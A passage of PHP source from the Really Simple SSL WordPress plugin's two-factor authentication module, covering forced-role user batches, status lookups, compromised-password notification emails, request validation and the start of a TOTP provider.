			$added_roles = array_diff($forced_roles, $prev_value);

			$forced_roles = $added_roles;
			if(empty($forced_roles)) {
				return;
			}

			// Fetching the users that have the forced roles.
			$fields = ['id', 'status_for_user'];
			$enabled_roles = array_unique(array_merge(
				defined('rsssl_pro') ? rsssl_get_option('two_fa_enabled_roles_totp', array()) : array(),
				rsssl_get_option('two_fa_enabled_roles_email', array())
			));
			//This line is forcefully setting the forced roles to the enabled roles. Because we only impact enforced users with this action.
			$enabled_roles_placeholders = implode(',', array_map(function($role) { return "'$role'"; }, $forced_roles));
			$forced_roles_placeholder = implode(',', array_map(function($role) { return "'$role'"; }, $forced_roles));
			$query = self::generate_query($fields, $enabled_roles_placeholders, $forced_roles_placeholder, $forced_roles);

			$batch_size = 1000;
			$offset = 0;

			$this->process_user_batch($query, $enabled_roles, $forced_roles, $batch_size, $offset);
		}
	}


	/**
	 * Process a batch of users.
	 *
	 * @param string $query The base query to fetch users.
	 * @param array $enabled_roles The enabled roles.
	 * @param array $forced_roles The forced roles.
	 * @param int $batch_size The size of each batch.
	 * @param int $offset The offset for the current batch.
	 *
	 * @return void
	 */
	public function process_user_batch(string $query, array $enabled_roles, array $forced_roles, int $batch_size, int $offset): void
	{
		global $wpdb;
		$paged_query = $query . " LIMIT %d OFFSET %d";
		$forced_roles_placeholder = implode(',', $forced_roles);
		$enabled_roles_placeholders = implode(',', $enabled_roles);
		$prepared_query = $wpdb->prepare($paged_query, $forced_roles_placeholder, $batch_size, $offset);
		$users = $wpdb->get_results($prepared_query);

		if (empty($users)) {
			return;
		}

		foreach ($users as $user) {
			// if there is an active or open method, We do nothing.
			if ('active' === $user->status_for_user ) {
				continue;
			}
			if ('open' === $user->status_for_user) {
				// if the user has no meta_key rsssl_two_fa_last_login, we set it to now.
				if (!get_user_meta((int)$user->id, 'rsssl_two_fa_last_login', true)) {
					update_user_meta((int)$user->id, 'rsssl_two_fa_last_login', gmdate('Y-m-d H:i:s'));
				}
				continue;
			}
			// now we reset the user.
			Rsssl_Two_Fa_Status::delete_two_fa_meta((int)$user->id);
			// Set the rsssl_two_fa_last_login to now, so the user will be forced to use 2fa.
			update_user_meta((int)$user->id, 'rsssl_two_fa_last_login', gmdate('Y-m-d H:i:s'));
		}

		// Schedule the next batch
		wp_schedule_single_event(time() + 60, 'process_user_batch_event', [$query, $enabled_roles, $forced_roles, $batch_size, $offset + $batch_size]);
	}

    /**
     * Checks if the user can use two-factor authentication (2FA).
     *
     * @return bool Returns true if the user can use 2FA, false otherwise.
     */
    public function can_i_use_2fa(): bool
    {
        return rsssl_get_option('login_protection_enabled');
    }


	/**
	 * Creates a captcha notice array.
	 *
	 * This method creates and returns an array representing a captcha notice.
	 *
	 * @param  string $title  The title of the notice.
	 * @param  string $msg  The message of the notice.
	 *
	 * @return array The captcha notice array.
	 */
	private function create_2fa_notice( string $title, string $msg ): array {
		return array(
			'callback'          => '_true_',
			'score'             => 1,
			'show_with_options' => array( 'login_protection_enabled' ),
			'output'            => array(
				'true' => array(
					'title'              => $title,
					'msg'                => $msg,
					'icon'               => 'warning',
					'type'               => 'open',
					'dismissible'        => true,
					'admin_notice'       => false,
					'plusone'            => true,
					'highlight_field_id' => 'two_fa_enabled_roles',
				),
			),
		);
	}

	/**
	 * If a user role is removed, it needs to reset this role for all users
	 *
	 * @param string $field_id The field ID.
	 * @param mixed  $new_value The new value.
	 *
	 * @return void
	 */
	public static function maybe_reset_two_fa( string $field_id, $new_value ): void {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}
	}

	/**
	 * Reset the two-factor authentication for a user.
	 *
	 * @param array  $response The response array.
	 * @param string $action The action being performed.
	 * @param array  $data The data array.
	 *
	 * @return array The updated response array.
	 */
	public static function reset_user_two_fa( array $response, string $action, array $data ): array {
		if ( ! rsssl_user_can_manage() ) {
			return $response;
		}
		if ( 'two_fa_table' === $action ) {
			// if the user has been disabled, it needs to reset the two-factor authentication.
			$user = get_user_by( 'id', $data['user_id'] );
			if ( $user ) {
				// Delete all 2fa related user meta.
				self::delete_two_fa_meta( $user );
				// Set the last login to now, so the user will be forced to use 2fa.
				update_user_meta( $user->ID, 'rsssl_two_fa_last_login', gmdate( 'Y-m-d H:i:s' ) );
			}
		}
		return $response;
	}

	/**
	 * Get users based on arguments and method.
	 *
	 * @param array  $args The arguments to retrieve users.
	 * @param string $method The method to retrieve users.
	 *
	 * @return array The list of users matching the arguments and method.
	 */
	protected static function get_users( array $args, string $method ): array {
		if ( ! is_multisite() ) {
			return get_users( $args );
		}

		$users = self::get_multisite_users( $args );
        if( $method !== 'two_fa_forced_roles' ) {
            $users = self::filter_users_by_role( $users, $args, $method );
        }

		return self::slice_users_by_offset_and_number( $users, $args );
	}

	/**
	 * Get all multisite users from all sites.
	 *
	 * @param array $args {
	 *     Optional. Arguments for filtering the users.
	 *
	 * @type int $offset Offset for pagination. Default is 0.
	 * @type int $number Maximum number of users to retrieve. Default is 0 (retrieve all users).
	 *     ... Additional arguments for filtering the user query.
	 * }
	 *
	 * @return array Array of users.
	 */
	private static function get_multisite_users( array $args ): array {
		$sites = get_sites();
		$users = array();

		unset( $args['offset'], $args['number'] );

		foreach ( $sites as $site ) {
			switch_to_blog( $site->blog_id );
			$site_users = get_users( $args );
			foreach ( $site_users as $user ) {
				$user_roles = get_userdata( $user->ID )->roles;
				if ( ! isset( $users[ $user->ID ] ) ) {
					$users[ $user->ID ] = $user;
				}
				$users_roles[ $user->ID ] = array_unique( $users_roles[ $user->ID ] ?? array() + $user_roles );
			}
			restore_current_blog();
		}

		return $users;
	}

	/**
	 * Filter users by role.
	 *
	 * @param array  $users The array of users.
	 * @param array  $args The array of filter arguments.
	 * @param string $method The method name.
	 *
	 * @return array The filtered array of users.
	 */
	private static function filter_users_by_role( array $users, array $args, string $method ): array {
		if ( ! isset( $args['role'] ) ) {
			return $users;
		}

		$filter_role           = $args['role'];
		$filter_role_is_forced = Rsssl_Two_Factor_Settings::role_is_of_type( $method, $filter_role, 'forced' );

		return array_filter(
			$users,
			static function ( $user_id, $user_roles ) use ( $filter_role_is_forced, $method ) {
				return ! ( ! $filter_role_is_forced && Rsssl_Two_Factor_Settings::contains_role_of_type( $method, (array) $user_roles, 'forced' ) );
			},
			ARRAY_FILTER_USE_BOTH
		);
	}

	/**
	 * Slice users by offset and number.
	 *
	 * This function takes an array of users and an array of arguments
	 * and applies the offset and number values to the users array.
	 * It returns a new array with the specified offset and number of users.
	 *
	 * @param array $users The array of users.
	 * @param array $args The array of arguments containing the offset and number values.
	 *
	 * @return array The new array of users with the specified offset and number.
	 */
	private static function slice_users_by_offset_and_number( array $users, array $args ): array {
		// Apply the 'offset' to the combined result.
		if ( 0 !== ( $args['offset'] ?? 0 ) ) {
			$users = array_slice( $users, $args['offset'] );
		}
		// Ensure the final result does not exceed the specified 'number'.
		if ( 0 !== ( $args['number'] ?? 0 ) ) {
			$users = array_slice( $users, 0, $args['number'] );
		}

		// To reset array keys.
		return array_values( $users );
	}


    /**
     * Generates the two-factor authentication table data based on the action and data parameters.
     *
     * @param array $response The initial response data.
     * @param string $action The action to perform.
     * @param array $data The data needed for the action.
     *
     * @return array The updated response data.
     */
    public function two_fa_table(array $response, string $action, array $data): array
    {
        $new_response = $response;
        if (rsssl_user_can_manage()) {
            $data_parameters = new Rsssl_Two_FA_Data_Parameters($data);

            switch ($action) {
                case 'two_fa_table':
	                return $this->server_side_handler($data_parameters);
                case 'two_fa_reset_user':
                    // if the user has been disabled, it needs to reset the two-factor authentication.
                    $user = get_user_by('id', $data['id']);

                    if ($user) {
                        // Delete all 2fa related user meta.
                        Rsssl_Two_Fa_Status::delete_two_fa_meta($user);
                        // Set the rsssl_two_fa_last_login to now, so the user will be forced to use 2fa.
                        update_user_meta($user->ID, 'rsssl_two_fa_last_login', gmdate('Y-m-d H:i:s'));
                    }
                    if (!$user) {
                        $new_response['request_success'] = false;
                    }
                    break;

                default:
                    // Default case if no action matches.
                    break;
            }
        }
        return $new_response;
    }

    /**
     * Reset two-factor authentication for a user if the user has been disabled.
     *
     * @param string $method The method to reset.
     * @param int $user_id The user ID.
     *
     * @return string[]
     */
    private function check_status_and_return(string $method, int $user_id): ?array
    {
        $status = Rsssl_Two_Factor_Settings::get_user_status($method, $user_id);
        if (in_array($status, array('active', 'open', 'disabled'), true)) {
            return array($method, $status, true);
        }
        return null;
    }

    /**
     * Get the status for a given user ID, by method.
     *
     * @param int $user_id The user ID to get the status for.
     *
     * @return array The status for the given user ID, by method.
     */
    public function get_status_by_method(int $user_id): array
    {
        $user_id = absint($user_id);
        if (defined('rsssl_pro') && rsssl_pro) {
            $result = $this->get_status_for_method('totp', $user_id);
        }

        if (!isset($result)) {
            $result = $this->get_status_for_method('email', $user_id);
        } else {
            if ($result[0] === 'empty' || 'disabled' === $result[1]) {
                $result = $this->get_status_for_method('email', $user_id);
            }

        }

        if (empty($result) || 'disabled' === $result[1]) {
            $result = array('disabled', 'disabled');
        }

        if (empty($result)) {
            $enabled_roles = Rsssl_Two_Factor_Settings::get_enabled_roles($user_id) ?? array();
            $enabled_method = Rsssl_Two_Factor_Settings::get_enabled_method($user_id);

            $result = empty($enabled_roles)
                ? array($enabled_method, 'disabled')
                : array($enabled_method, 'open');
        }
        return $result;
    }

    /**
     * Get the status for a given method and user ID.
     *
     * @param string $method The method to get the status for.
     * @param int $user_id The user ID to get the status for.
     *
     * @return array|null The status for the given method and user ID, or null if not found.
     */
    public function get_status_for_method(string $method, int $user_id): ?array
    {
        $role_status = Rsssl_Two_Factor_Settings::get_role_status($method, $user_id);
        $user_status = Rsssl_Two_Factor_Settings::get_user_status($method, $user_id);

        if ('empty' !== $role_status && 'open' === $user_status) {
            $result = $this->check_status_and_return($method, $user_id);
            if ('active' === $user_status) {
                return $result;
            }
        }
        return array($role_status, $user_status);
    }
}
really-simple-ssl/security/wordpress/two-fa/traits/trait-rsssl-email-trait.php000064400000012724147510273070023746 0ustar00<?php
/**
 * Trait for sending emails related to two-factor authentication.
 *
 * @package RSSSL\Pro\Security\WordPress\Two_Fa\Traits
 */

namespace RSSSL\Security\WordPress\Two_Fa\Traits;

use rsssl_mailer;
use WP_User;

/**
 * Trait Rsssl_Email_Trait
 *
 * This trait handles email notifications related to password reset and compromised passwords.
 */
trait Rsssl_Email_Trait {

	/**
	 * Notify the user that their password has been compromised and reset.
	 *
	 * @param WP_User $user The user to notify.
	 *
	 * @return void
	 */
	public static function notify_user_password_reset( WP_User $user ): void {
		$subject = __( 'Your password was compromised and has been reset', 'really-simple-ssl' );
		$message = self::create_user_message( $user );

		if ( ! class_exists( 'rsssl_mailer' ) ) {
			require_once rsssl_path . 'mailer/class-mail.php';
		}

		$mailer = self::initialize_mailer( $subject, $message, $user );
		$mailer->send_mail();
	}

	/**
	 * Create a user message for failed login attempts.
	 *
	 * @param WP_User $user The user object.
	 *
	 * @return string The user message.
	 */
	private static function create_user_message( WP_User $user ): string {
		$message = sprintf(
		/* translators: %1$s: user login, %2$s: site url, %3$s: password best practices link, %4$s: lost password url */
			__(
				'Hello %1$s, an unusually high number of failed login attempts have been detected on your account at %2$s.

These attempts successfully entered your password, and were only blocked because they failed to enter your second authentication factor. Despite not being able to access your account, this behavior indicates that the attackers have compromised your password. The most common reasons for this are that your password was easy to guess, or was reused on another site which has been compromised.

To protect your account, your password has been reset, and you will need to create a new one. For advice on setting a strong password, please read %3$s

To pick a new password, please visit %4$s

This is an automated notification. If you would like to speak to a site administrator, please contact them directly.',
				'really-simple-ssl'
			),
			esc_html( $user->user_login ),
			home_url(),
			'https://wordpress.org/documentation/article/password-best-practices/',
			esc_url( add_query_arg( 'action', 'lostpassword', rsssl_wp_login_url() ) )
		);

		return str_replace( "\t", '', $message );
	}


	/**
	 * Notify the admin that a user's password was compromised and reset.
	 *
	 * @param WP_User $user The user whose password was reset.
	 *
	 * @return void
	 */
	public static function notify_admin_user_password_reset( WP_User $user ): void {
		if ( ! class_exists( 'rsssl_mailer' ) ) {
			require_once rsssl_path . 'mailer/class-mail.php';
		}

		$subject = self::create_subject( $user );
		$message = self::create_message( $user );

		$mailer = self::initialize_mailer( $subject, $message, $user );

		$mailer->send_mail();
	}

	/**
	 * Create subject for the compromised password reset email.
	 *
	 * @param WP_User $user The user object.
	 *
	 * @return string The subject of the email.
	 */
	private static function create_subject( WP_User $user ): string {
		/* translators: %s: user login */
		return sprintf(
			__( 'Compromised password for %s has been reset', 'really-simple-ssl' ),
			esc_html( $user->user_login )
		);
	}

	/**
	 * Generate a message for notifying the user about a high number of failed login attempts.
	 *
	 * @param WP_User $user The user for whom the message is created.
	 *
	 * @return string The generated message.
	 */
	private static function create_message( WP_User $user ): string {
		$documentation_url = 'https://developer.wordpress.org/plugins/hooks/';

		return str_replace(
			"\t",
			'',
			// translators: %1$s: user login, %2$d: user ID, %3$s: documentation URL.
			sprintf(
				__( 'Hello, this is a notice from your website to inform you that an unusually high number of failed login attempts have been detected on the %1$s account (ID %2$d). Those attempts successfully entered the user\'s password, and were only blocked because they entered invalid second authentication factors. To protect their account, the password has automatically been reset, and they have been notified that they will need to create a new one. If you do not wish to receive these notifications, you can disable them with the `two_factor_notify_admin_user_password_reset` filter. See %3$s for more information. Thank you', 'really-simple-ssl' ),
				esc_html( $user->user_login ),
				$user->ID,
				$documentation_url
			)
		);
	}

	/**
	 * Initialize the mailer for sending a notification email.
	 *
	 * @param string  $subject The subject of the email.
	 * @param string  $message The message content of the email.
	 * @param WP_User $user The user object to send the email to.
	 *
	 * @return rsssl_mailer The initialized mailer object.
	 */
	private static function initialize_mailer( string $subject, string $message, WP_User $user ): rsssl_mailer {
		$mailer                    = new rsssl_mailer();
		$mailer->subject           = $subject;
		$mailer->branded           = false;
		$mailer->sent_by_text      = "<b>" . sprintf( __( 'Notification by %s', 'really-simple-ssl' ), site_url() ) . "</b>";
		$mailer->template_filename = apply_filters( 'rsssl_email_template', rsssl_path . '/mailer/templates/email-unbranded.html' );
		$mailer->to                = $user->user_email;
		$mailer->title             = __( 'Compromised password reset', 'really-simple-ssl' );
		$mailer->message           = $message;

		return $mailer;
	}
}
really-simple-ssl/security/wordpress/two-fa/traits/trait-rsssl-two-fa-helper.php000064400000002617147510273070024210 0ustar00<?php
/**
 * A helper trait for sanitizing status and method values.
 *
 * @package really-simple-ssl
 */

namespace RSSSL\Security\WordPress\Two_Fa\Traits;

use RSSSL\Security\WordPress\Two_Fa\Rsssl_Provider_Loader;
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Fa_Status;

/**
 * A helper trait for sanitizing status and method values.
 */
trait Rsssl_Two_Fa_Helper {
	/**
	 * Sanitize the given status.
	 *
	 * @param  string $status  The status to sanitize.
	 *
	 * @return string The sanitized status.
	 */
	private static function sanitize_status( string $status ): string {
		$statuses_available = Rsssl_Two_Fa_Status::STATUSES;

		if ( empty( $status ) ) {
			return 'open';
		}
		// Check if the $status is in the array of available statuses.
		if ( ! in_array( $status, $statuses_available, true ) ) {
			// if not, set it to 'disabled'.
			$status = 'disabled';
		}

		return sanitize_text_field( $status );
	}

	/**
	 * Sanitize a given method.
	 *
	 * @param  string $method  The method to sanitize.
	 *
	 * @return string  The sanitized method.
	 */
	private static function sanitize_method( string $method ): string {
		$methods_available = Rsssl_Provider_Loader::METHODS;
		// Check if the $method is in the array of available methods.
		if ( ! in_array( $method, $methods_available, true ) ) {
			// if not, set it to 'disabled'.
			$method = 'disabled';
		}

		return sanitize_text_field( $method );
	}
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-parameter-validation.php000064400000012073147510273070024317 0ustar00<?php
/**
 * Holds the request parameters for a specific action.
 * This class holds the request parameters for a specific action.
 * It is used to store the parameters and pass them to the functions.
 *
 * @package REALLY_SIMPLE_SSL
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use WP_User;

/**
 * Holds the request parameters for a specific action.
 * This class holds the request parameters for a specific action.
 * It is used to store the parameters and pass them to the functions.
 *
 * @package REALLY_SIMPLE_SSL
 */
class Rsssl_Parameter_Validation
{

    /**
     * Validates a user ID.
     *
     * @param int $user_id The user ID to be validated.
     *
     * @return void
     */
    public static function validate_user_id(int $user_id): void
    {
        if (!is_numeric($user_id)) {
            // Create an error message for the profile page.
            add_settings_error(
                'two-factor-authentication',
                'rsssl-two-factor-authentication-error',
                __('The user ID is not valid.', 'really-simple-ssl')
            );
        }
    }

    /**
     * Validates post data.
     *
     * @param array $post_data The post data to validate.
     *
     * @return void
     */
    public static function validate_post_data(array $post_data): void
    {
        if (!isset($post_data['preferred_method'])) {
            // Create an error message for the profile page.
            add_settings_error(
                'two-factor-authentication',
                'rsssl-two-factor-authentication-error',
                __('The preferred method is not set.', 'really-simple-ssl')
            );
        }
    }

    /**
     * Validate user object.
     *
     * @param mixed $user The user object to validate.
     *
     * @return void
     */
    public static function validate_user($user): void
    {
        if (!$user instanceof WP_User) {
            // Create an error message for the profile page.
            add_settings_error(
                'two-factor-authentication',
                'rsssl-two-factor-authentication-error',
                __('The user object is not valid.', 'really-simple-ssl')
            );
        }
    }

    /**
     * Validates the selected provider.
     *
     * @param string $selected_provider The selected provider to validate.
     *
     * @return void
     */
    public static function validate_selected_provider(string $selected_provider): void
    {
        if (!in_array($selected_provider, array('totp', 'email', 'none'), true)) {
            // Create an error message for the profile page.
            add_settings_error(
                'two-factor-authentication',
                'rsssl-two-factor-authentication-error',
                __('The selected provider is not valid.', 'really-simple-ssl')
            );
        }
    }

    /**
     * Validates an authentication code.
     *
     * @param mixed $auth_code The authentication code to validate.
     *
     * @return void
     */
    public static function validate_auth_code($auth_code): void
    {
        if (!is_numeric($auth_code)) {
            // Create an error message for the profile page.
            add_settings_error(
                'two-factor-authentication',
                'rsssl-two-factor-authentication-error',
                __('The authentication code is not valid.', 'really-simple-ssl')
            );
        }
    }

    /**
     * Validates a given key.
     *
     * @param mixed $key The key to validate.
     *
     * @return void
     */
    public static function validate_key($key): void
    {
        if (!is_string($key)) {
            // Create an error message for the profile page.
            add_settings_error(
                'two-factor-authentication',
                'rsssl-two-factor-authentication-error',
                __('The key is not valid.', 'really-simple-ssl')
            );
        }
    }

    /**
     * Cache the current errors for a user in a transient.
     *
     * @param int $user_id The ID of the user.
     *
     * @return void
     */
    public static function cache_errors(int $user_id): void
    {
        // Put the current errors in a transient.
        set_transient('rsssl_two_factor_auth_error_' . $user_id, get_settings_errors(), 60);
    }

    /**
     * Retrieves cached errors for a specific user.
     *
     * @param int $user_id The ID of the user to retrieve the errors for.
     *
     * @return mixed|null An array of errors if found, null otherwise.
     */
    public static function get_cached_errors(int $user_id)
    {
        // Get the errors from the transient.
        $errors = get_transient('rsssl_two_factor_auth_error_' . $user_id);
        // Delete the transient.
        delete_transient('rsssl_two_factor_auth_error_' . $user_id);
        return $errors;
    }

    /**
     * Deletes cached errors for a specific user.
     *
     * @param int $user_id The ID of the user to delete the errors for.
     *
     * @return void
     */
    public static function delete_cached_errors(int $user_id): void
    {
        delete_transient('rsssl_two_factor_auth_error_' . $user_id);
    }
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-request-parameters.php000064400000003761147510273070024044 0ustar00<?php
/**
 * Holds the request parameters for a specific action.
 *
 * @package REALLY_SIMPLE_SSL
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use WP_REST_Request;

/**
 * Holds the request parameters for a specific action.
 * This class holds the request parameters for a specific action.
 * It is used to store the parameters and pass them to the functions.
 *
 * @package REALLY_SIMPLE_SSL
 */
class Rsssl_Request_Parameters {
	/**
	 * User ID.
	 *
	 * @var integer
	 */
	public $user_id;

	/**
	 * Login nonce.
	 *
	 * @var string
	 */
	public $login_nonce;

	/**
	 * User.
	 *
	 * @var WP_User
	 */
	public $user;

	/**
	 * Service provider.
	 *
	 * @var object
	 */
	public $provider;

	/**
	 * Redirect to URL.
	 *
	 * @var string
	 */
	public $redirect_to;

	/**
	 * The code.
	 *
	 * @var string
	 */
	public $code;

	/**
	 * The key.
	 *
	 * @var string
	 */
	public $key;

	/**
	 * The nonce.
	 *
	 * @var mixed|null
	 */
	public $nonce;
    /**
     * @var array|string
     */
    public $token;

    /**
     * @var bool
     */
    public $profile;

    /**
	 * Constructor for the class.
	 *
	 * @param WP_REST_Request $request The WordPress REST request object.
	 *
	 * @return void
	 */
	public function __construct( WP_REST_Request $request ) {
		$this->user_id     = $request->get_param( 'user_id' );
		$this->login_nonce = $request->get_param( 'login_nonce' );
		$this->nonce       = $request->get_header( 'X-WP-Nonce' );
		$this->user        = get_user_by( 'id', $this->user_id );
		$this->provider    = $request->get_param( 'provider' );
		$this->redirect_to = $request->get_param( 'redirect_to' )?? admin_url();
		if ( 'totp' === $this->provider ) {
			$this->code = wp_unslash( $request->get_param( 'two-factor-totp-authcode' ) );
			$this->key  = wp_unslash( $request->get_param( 'key' ) );
		}
        if ('email' === $this->provider) {
            $this->token = wp_unslash($request->get_param('token'));
            $this->profile = wp_unslash($request->get_param('profile')?? false);
        }
	}
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-totp.php000064400000076257147510273070023276 0ustar00<?php
/**
 * Class for creating a Time Based One-Time Password provider.
 *
 * @package Two_Factor
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use Exception;
use WP_Error;
use WP_Rest_Request;
use WP_REST_Server;
use WP_User;
use RSSSL\Security\WordPress\Two_Fa\Rsssl_Two_Factor_Settings;

/**
 * Class Two_Factor_Totp
 */
class Rsssl_Two_Factor_Totp extends Rsssl_Two_Factor_Provider implements Rsssl_Two_Factor_Provider_Interface {

	/**
	 * The user meta key for the TOTP Secret key.
	 *
	 * @var string
	 */
	public const SECRET_META_KEY = '_two_factor_totp_key';

	/**
	 * The user meta key for the last successful TOTP token timestamp logged in with.
	 *
	 * @var string
	 */
	public const LAST_SUCCESSFUL_LOGIN_META_KEY = '_rsssl_two_factor_totp_last_successful_login';

	public const DEFAULT_KEY_BIT_SIZE        = 160;
	public const DEFAULT_CRYPTO              = 'sha1';
	public const DEFAULT_DIGIT_COUNT         = 6;
	public const DEFAULT_TIME_STEP_SEC       = 30;
	public const DEFAULT_TIME_STEP_ALLOWANCE = 4;

	public const METHOD = 'totp';

	public const NAME = 'Authenticator App';

	/**
	 * Characters used in base32 encoding.
	 *
	 * @var string
	 */
	private static $base_32_chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';

	/**
	 * Ensures only one instance of this class exists in memory at any one time.
	 *
	 * @codeCoverageIgnore
	 */
	public static function get_instance() {
		static $instance;
		if ( ! isset( $instance ) ) {
			$instance = new self();
		}
		return $instance;
	}

	/**
	 * Class constructor. Sets up hooks, etc.
	 *
	 * @codeCoverageIgnore
	 */
	protected function __construct() {
		add_action( 'rest_api_init', array( $this, 'register_rest_routes' ) );
		add_action( 'two_factor_user_options_' . __CLASS__, array( $this, 'user_two_factor_options' ) );

		parent::__construct();
	}

	/**
	 * Register the rest-api endpoints required for this provider.
	 *
	 * @codeCoverageIgnore
	 */
	public function register_rest_routes(): void {
		register_rest_route(
			Rsssl_Two_Factor::REST_NAMESPACE,
			'/v1/totp',
			array(
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'rest_delete_totp' ),
					'permission_callback' => function ( $request ) {
						return current_user_can( 'edit_user', $request['user_id'] );
					},
					'args'                => array(
						'user_id' => array(
							'required' => true,
							'type'     => 'integer',
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'rest_setup_totp' ),
					'permission_callback' => function ( $request ) {
						return current_user_can( 'edit_user', $request['user_id'] );
					},
					'args'                => array(
						'user_id'         => array(
							'required' => true,
							'type'     => 'integer',
						),
						'key'             => array(
							'type'              => 'string',
							'default'           => '',
							'validate_callback' => null, // Note: validation handled in ::rest_setup_totp().
						),
						'code'            => array(
							'type'              => 'string',
							'default'           => '',
							'validate_callback' => null, // Note: validation handled in ::rest_setup_totp().
						),
						'enable_provider' => array(
							'required' => false,
							'type'     => 'boolean',
							'default'  => false,
						),
					),
				),
			)
		);
	}

	/**
	 * Returns the name of the provider.
	 */
	public function get_label(): ?string {
		return _x( 'Time Based One-Time Password (TOTP)', 'Provider Label', 'really-simple-ssl' );
	}

	/**
	 * Rest API endpoint for handling deactivation of TOTP.
	 *
	 * @param WP_Rest_Request $request The Rest Request object.
	 *
	 * @return array Success array.
	 */
	public function rest_delete_totp( WP_Rest_Request $request ): array {
		$user_id = $request['user_id'];
		$user    = get_user_by( 'id', $user_id );

		$this->delete_user_totp_key( $user_id );

		ob_start();
		$this->user_two_factor_options( $user );
		$html = ob_get_clean();

		return array(
			'success' => true,
			'html'    => $html,
		);
	}

	/**
	 * Set up the Two-Factor Authentication Time-Based One-Time Password (TOTP) for the specified user.
	 *
	 * @param WP_User $user  WP_User object representing the user for whom to setup TOTP.
	 * @param string  $key  The secret key for TOTP.
	 * @param string  $code  The authentication code entered by the user.
	 *
	 * @return boolean Returns true if TOTP setup is successful. Returns an error message string if there is an error during setup.
	 */
	public static function setup_totp( WP_User $user, string $key, string $code ): bool {
		$code = preg_replace( '/\s+/', '', $code );

		if ( ! self::is_valid_key( $key ) ) {
			// Set an error message for after redirect login using transients.
			set_transient( 'rsssl_error_message_' . $user->ID, __( 'Invalid Two Factor Authentication secret key.', 'really-simple-ssl' ), 60 );
			return false;
		}

		if ( ! self::is_valid_authcode( $key, $code ) ) {
			// Set an error message for after redirect login.
			set_transient( 'rsssl_error_message_' . $user->ID, __( 'Invalid Two Factor Authentication code.', 'really-simple-ssl' ), 60 );
			return false;
		}

		if ( ! self::set_user_totp_key( $user->ID, $key ) ) {
			// Set an error message for after redirect login.
			set_transient( 'rsssl_error_message_' . $user->ID, __( 'Unable to save Two Factor Authentication code. Please re-scan the QR code and enter the code provided by your application.', 'really-simple-ssl' ), 60 );
			return false;
		}

		return true;
	}


	/**
	 * REST API endpoint for setting up TOTP.
	 *
	 * @param WP_Rest_Request $request The Rest Request object.
	 *
	 * @return WP_Error|array Array of data on success, WP_Error on error.
	 */
	public function rest_setup_totp( WP_Rest_Request $request ) {
		$user_id = $request['user_id'];
		$user    = get_user_by( 'id', $user_id );

		$key  = $request['key'];
		$code = preg_replace( '/\s+/', '', $request['code'] );

		if ( ! self::is_valid_key( $key ) ) {
			return new WP_Error( 'invalid_key', __( 'Invalid Two Factor Authentication secret key.', 'really-simple-ssl' ), array( 'status' => 400 ) );
		}

		if ( ! self::is_valid_authcode( $key, $code ) ) {
			return new WP_Error( 'invalid_key_code', __( 'Invalid Two Factor Authentication code.', 'really-simple-ssl' ), array( 'status' => 400 ) );
		}

		if ( ! self::set_user_totp_key( $user_id, $key ) ) {
			return new WP_Error( 'db_error', __( 'Unable to save Two Factor Authentication code. Please re-scan the QR code and enter the code provided by your application.', 'really-simple-ssl' ), array( 'status' => 500 ) );
		}

		if ( $request->get_param( 'enable_provider' ) && ! Rsssl_Two_Factor::enable_provider_for_user( $user_id, 'Two_Factor_Totp' ) ) {
			return new WP_Error( 'db_error', __( 'Unable to enable TOTP provider for this user.', 'really-simple-ssl' ), array( 'status' => 500 ) );
		}

		ob_start();
		$this->user_two_factor_options( $user );
		$html = ob_get_clean();

		return array(
			'success' => true,
			'html'    => $html,
		);
	}

	/**
	 * Generates a URL that can be used to create a QR code.
	 *
	 * @param WP_User $user The user to generate a URL for.
	 * @param string  $secret_key The secret key to use for the TOTP.
	 *
	 * @return string
	 */
	public static function generate_qr_code_url( WP_User $user, string $secret_key ) {
		$issuer = get_bloginfo( 'name', 'display' );

		/**
		 * Filter the Issuer for the TOTP.
		 *
		 * Must follow the TOTP format for a "issuer". Do not URL Encode.
		 *
		 * @see https://github.com/google/google-authenticator/wiki/Key-Uri-Format#issuer
		 * @param string $issuer The issuer for TOTP.
		 */
		$issuer = apply_filters( 'two_factor_totp_issuer', $issuer );

		/**
		 * Filter the Label for the TOTP.
		 *
		 * Must follow the TOTP format for a "label". Do not URL Encode.
		 *
		 * @see https://github.com/google/google-authenticator/wiki/Key-Uri-Format#label
		 * @param string  $totp_title The label for the TOTP.
		 * @param WP_User $user       The User object.
		 * @param string  $issuer     The issuer of the TOTP. This should be the prefix of the result.
		 */
		$totp_title = apply_filters( 'two_factor_totp_title', $issuer . ':' . $user->user_login, $user, $issuer );

		$totp_url = add_query_arg(
			array(
				'secret' => rawurlencode( $secret_key ),
				'issuer' => rawurlencode( $issuer ),
			),
			'otpauth://totp/' . rawurlencode( $totp_title )
		);

		/**
		 * Filter the TOTP generated URL.
		 *
		 * Must follow the TOTP format. Do not URL Encode.
		 *
		 * @see https://github.com/google/google-authenticator/wiki/Key-Uri-Format
		 * @param string  $totp_url The TOTP URL.
		 * @param WP_User $user     The user object.
		 */
		$totp_url = apply_filters( 'two_factor_totp_url', $totp_url, $user );
		$totp_url = esc_url( $totp_url, array( 'otpauth' ) );

		return $totp_url;
	}

	/**
	 * Display TOTP options on the user settings page.
	 *
	 * @param WP_User $user The current user being edited.
	 *
	 * @return false
	 *
	 * @codeCoverageIgnore
	 */
	public function user_two_factor_options( WP_User $user ): bool {
		if ( ! isset( $user->ID ) ) {
			return false;
		}

		$key = $this->get_user_totp_key( $user->ID );

		wp_enqueue_script( 'two-factor-qr-code-generator' );
		wp_enqueue_script( 'wp-api-request' );
		wp_enqueue_script( 'jquery' );

		?>
		<div id="two-factor-totp-options">
		<?php
		if ( empty( $key ) ) :

			$key      = self::generate_key();
			$totp_url = self::generate_qr_code_url( $user, $key );

			?>

			<p>
				<?php esc_html_e( 'Please scan the QR code or manually enter the key, then enter an authentication code from your app in order to complete setup.', 'really-simple-ssl' ); ?>
			</p>
			<p id="two-factor-qr-code">
				<a href="<?php echo esc_url( $totp_url ); ?>">
					Loading...
